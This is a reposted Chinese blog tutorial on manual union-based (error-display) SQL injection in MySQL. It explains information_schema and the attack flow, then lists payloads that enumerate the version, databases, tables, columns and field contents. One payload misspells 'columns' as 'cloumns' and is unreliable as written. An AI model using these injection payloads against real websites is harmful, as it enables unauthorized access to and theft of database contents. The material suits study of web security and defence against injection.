首页 > 数据库技术 > 详细

MySQL注入之显错注入

时间:2020-04-29 13:55:04      阅读:59      评论:0      收藏:0      [点我收藏+]
  • Mysql相关知识点:
  • 库:就是一堆表组成的数据集合
    数据库里自带的系统库:information_schema
    技术分享图片


    Information_schema里columns表里存着所有字段名
    information_schema里schemata表里存着所有库名
    information_schema里tables表里存着所有表名
    技术分享图片

    常用的sql语句:
    Select * from :从表里查询所有内容
    Where :有条件的从表里选取数据
    and或or:按条件选取数据
    order by :根据指定结果选取排序
    Limit0,1:从第一行起显示1条记录
    Union select :将多个表拼在一起


    显错注入-联合查询(mysql)基本流程:
    是否存在注入点—>猜解字段数—>联合查询寻找输入点->利用系统自带库查询字段名和表名->获取我们需要的数据或权限


    手工注入查询相关内容

    猜测数据库版本:and 1=2 union select 1,version()

    猜询数据库:and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

    查询表名 :and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

    查询字段名:and 1=2 union select 1,group_concat(column_name) from information_schema.cloumns where table_schema=database() and table_name =‘表名’

    查询字段内容:and 1=2 union select 1,字段 from 表名

    MySQL注入之显错注入

    原文:https://blog.51cto.com/41920239/2491467

    (0)
    (0)
       
    举报
    评论 一句话评论(0
    关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
    © 2014 bubuko.com 版权所有
    打开技术之扣,分享程序人生!